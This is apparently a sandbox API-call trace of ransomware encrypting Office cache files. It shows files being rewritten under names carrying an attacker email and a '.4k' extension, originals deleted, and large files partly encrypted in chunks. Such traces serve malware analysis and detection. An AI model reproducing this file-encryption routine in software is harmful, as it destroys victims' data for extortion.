	[0101.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.177] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.177] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0101.178] GetLastError () returned 0x0
	[0101.178] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0x2ed80, lpOverlapped=0x0) returned 1
	[0101.204] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0x2ed90, lpOverlapped=0x0) returned 1
	[0101.208] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.208] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0101.208] SetEndOfFile (hFile=0x1e4) returned 1
	[0101.208] CloseHandle (hObject=0x1e4) returned 1
	[0101.208] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.209] SetEndOfFile (hFile=0x1f0) returned 1
	[0101.211] CloseHandle (hObject=0x1f0) returned 1
	[0101.211] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.211] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1
	[0101.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.211] lstrlenW (lpString=".doc") returned 4
	[0101.211] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0101.211] lstrlenW (lpString=".docx") returned 5
	[0101.211] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0101.212] lstrlenW (lpString=".pdf") returned 4
	[0101.212] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0101.212] lstrlenW (lpString=".xls") returned 4
	[0101.212] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0101.212] lstrlenW (lpString=".xlsx") returned 5
	[0101.212] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0101.212] lstrlenW (lpString=".ppt") returned 4
	[0101.212] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0101.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.212] lstrlenW (lpString=".zip") returned 4
	[0101.212] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0101.212] lstrlenW (lpString=".rar") returned 4
	[0101.212] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0101.212] lstrlenW (lpString=".bz2") returned 4
	[0101.212] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0101.212] lstrlenW (lpString=".7z") returned 3
	[0101.212] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0101.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.212] lstrlenW (lpString=".dbf") returned 4
	[0101.212] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0101.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.212] lstrlenW (lpString=".1cd") returned 4
	[0101.212] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0101.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.212] lstrlenW (lpString=".jpg") returned 4
	[0101.212] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0101.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.213] lstrlenW (lpString=".doc") returned 4
	[0101.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0101.213] lstrlenW (lpString=".docx") returned 5
	[0101.213] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0101.213] lstrlenW (lpString=".pdf") returned 4
	[0101.213] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0101.213] lstrlenW (lpString=".xls") returned 4
	[0101.213] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0101.213] lstrlenW (lpString=".xlsx") returned 5
	[0101.213] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0101.213] lstrlenW (lpString=".ppt") returned 4
	[0101.213] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0101.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.213] lstrlenW (lpString=".zip") returned 4
	[0101.213] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0101.213] lstrlenW (lpString=".rar") returned 4
	[0101.213] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0101.213] lstrlenW (lpString=".bz2") returned 4
	[0101.213] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0101.213] lstrlenW (lpString=".7z") returned 3
	[0101.213] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0101.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.213] lstrlenW (lpString=".dbf") returned 4
	[0101.213] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0101.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.214] lstrlenW (lpString=".1cd") returned 4
	[0101.214] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0101.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0101.214] lstrlenW (lpString=".jpg") returned 4
	[0101.214] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0101.214] lstrcmpiW (lpString1=".MST", lpString2=".4k") returned 1
	[0101.214] lstrlenW (lpString="ShellUI.MST") returned 11
	[0101.214] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.215] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=3584) returned 1
	[0101.215] CloseHandle (hObject=0x1f0) returned 1
	[0101.215] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020
	[0101.215] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.215] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.215] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0101.216] GetLastError () returned 0x0
	[0101.216] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0xe00, lpOverlapped=0x0) returned 1
	[0101.297] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0xe10, lpOverlapped=0x0) returned 1
	[0101.298] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.298] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0101.298] SetEndOfFile (hFile=0x1e4) returned 1
	[0101.299] CloseHandle (hObject=0x1e4) returned 1
	[0101.299] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.299] SetEndOfFile (hFile=0x1f0) returned 1
	[0101.299] CloseHandle (hObject=0x1f0) returned 1
	[0101.300] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.300] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1
	[0101.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.300] lstrlenW (lpString=".doc") returned 4
	[0101.300] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1
	[0101.300] lstrlenW (lpString=".docx") returned 5
	[0101.300] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1
	[0101.300] lstrlenW (lpString=".pdf") returned 4
	[0101.300] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1
	[0101.300] lstrlenW (lpString=".xls") returned 4
	[0101.300] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1
	[0101.300] lstrlenW (lpString=".xlsx") returned 5
	[0101.300] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1
	[0101.300] lstrlenW (lpString=".ppt") returned 4
	[0101.300] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1
	[0101.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.300] lstrlenW (lpString=".zip") returned 4
	[0101.300] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1
	[0101.300] lstrlenW (lpString=".rar") returned 4
	[0101.301] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1
	[0101.301] lstrlenW (lpString=".bz2") returned 4
	[0101.301] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1
	[0101.301] lstrlenW (lpString=".7z") returned 3
	[0101.301] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1
	[0101.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.301] lstrlenW (lpString=".dbf") returned 4
	[0101.301] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1
	[0101.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.301] lstrlenW (lpString=".1cd") returned 4
	[0101.301] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1
	[0101.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.301] lstrlenW (lpString=".jpg") returned 4
	[0101.301] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1
	[0101.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.301] lstrlenW (lpString=".doc") returned 4
	[0101.301] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1
	[0101.301] lstrlenW (lpString=".docx") returned 5
	[0101.301] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1
	[0101.301] lstrlenW (lpString=".pdf") returned 4
	[0101.301] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1
	[0101.301] lstrlenW (lpString=".xls") returned 4
	[0101.301] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1
	[0101.301] lstrlenW (lpString=".xlsx") returned 5
	[0101.301] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1
	[0101.301] lstrlenW (lpString=".ppt") returned 4
	[0101.301] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1
	[0101.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.301] lstrlenW (lpString=".zip") returned 4
	[0101.301] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1
	[0101.302] lstrlenW (lpString=".rar") returned 4
	[0101.302] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1
	[0101.302] lstrlenW (lpString=".bz2") returned 4
	[0101.302] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1
	[0101.302] lstrlenW (lpString=".7z") returned 3
	[0101.302] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1
	[0101.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.302] lstrlenW (lpString=".dbf") returned 4
	[0101.302] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1
	[0101.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.302] lstrlenW (lpString=".1cd") returned 4
	[0101.302] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1
	[0101.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0101.302] lstrlenW (lpString=".jpg") returned 4
	[0101.302] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1
	[0101.302] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0101.302] lstrlenW (lpString="AccLR.cab") returned 9
	[0101.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0101.522] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=28016276) returned 1
	[0101.522] CloseHandle (hObject=0x204) returned 1
	[0101.522] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020
	[0101.522] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.522] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0101.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0101.523] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0101.523] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.523] ReadFile (in: hFile=0x204, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.629] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.629] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.652] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.652] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.652] ReadFile (in: hFile=0x204, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.745] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.745] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0101.896] SetEndOfFile (hFile=0x204) returned 1
	[0101.896] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f802b8
	[0101.909] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.909] WriteFile (in: hFile=0x204, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.910] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.910] WriteFile (in: hFile=0x204, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.912] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.912] WriteFile (in: hFile=0x204, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.914] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f802b8 | out: hHeap=0x4a0000) returned 1
	[0101.914] CloseHandle (hObject=0x204) returned 1
	[0101.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.914] lstrlenW (lpString=".doc") returned 4
	[0101.914] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0101.914] lstrlenW (lpString=".docx") returned 5
	[0101.914] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0101.914] lstrlenW (lpString=".pdf") returned 4
	[0101.914] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0101.914] lstrlenW (lpString=".xls") returned 4
	[0101.914] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0101.914] lstrlenW (lpString=".xlsx") returned 5
	[0101.914] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0101.915] lstrlenW (lpString=".ppt") returned 4
	[0101.915] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0101.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.915] lstrlenW (lpString=".zip") returned 4
	[0101.915] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0101.915] lstrlenW (lpString=".rar") returned 4
	[0101.915] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0101.915] lstrlenW (lpString=".bz2") returned 4
	[0101.915] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0101.915] lstrlenW (lpString=".7z") returned 3
	[0101.915] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0101.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.915] lstrlenW (lpString=".dbf") returned 4
	[0101.915] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0101.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.915] lstrlenW (lpString=".1cd") returned 4
	[0101.915] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0101.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.915] lstrlenW (lpString=".jpg") returned 4
	[0101.915] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0101.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.915] lstrlenW (lpString=".doc") returned 4
	[0101.915] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0101.915] lstrlenW (lpString=".docx") returned 5
	[0101.915] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0101.915] lstrlenW (lpString=".pdf") returned 4
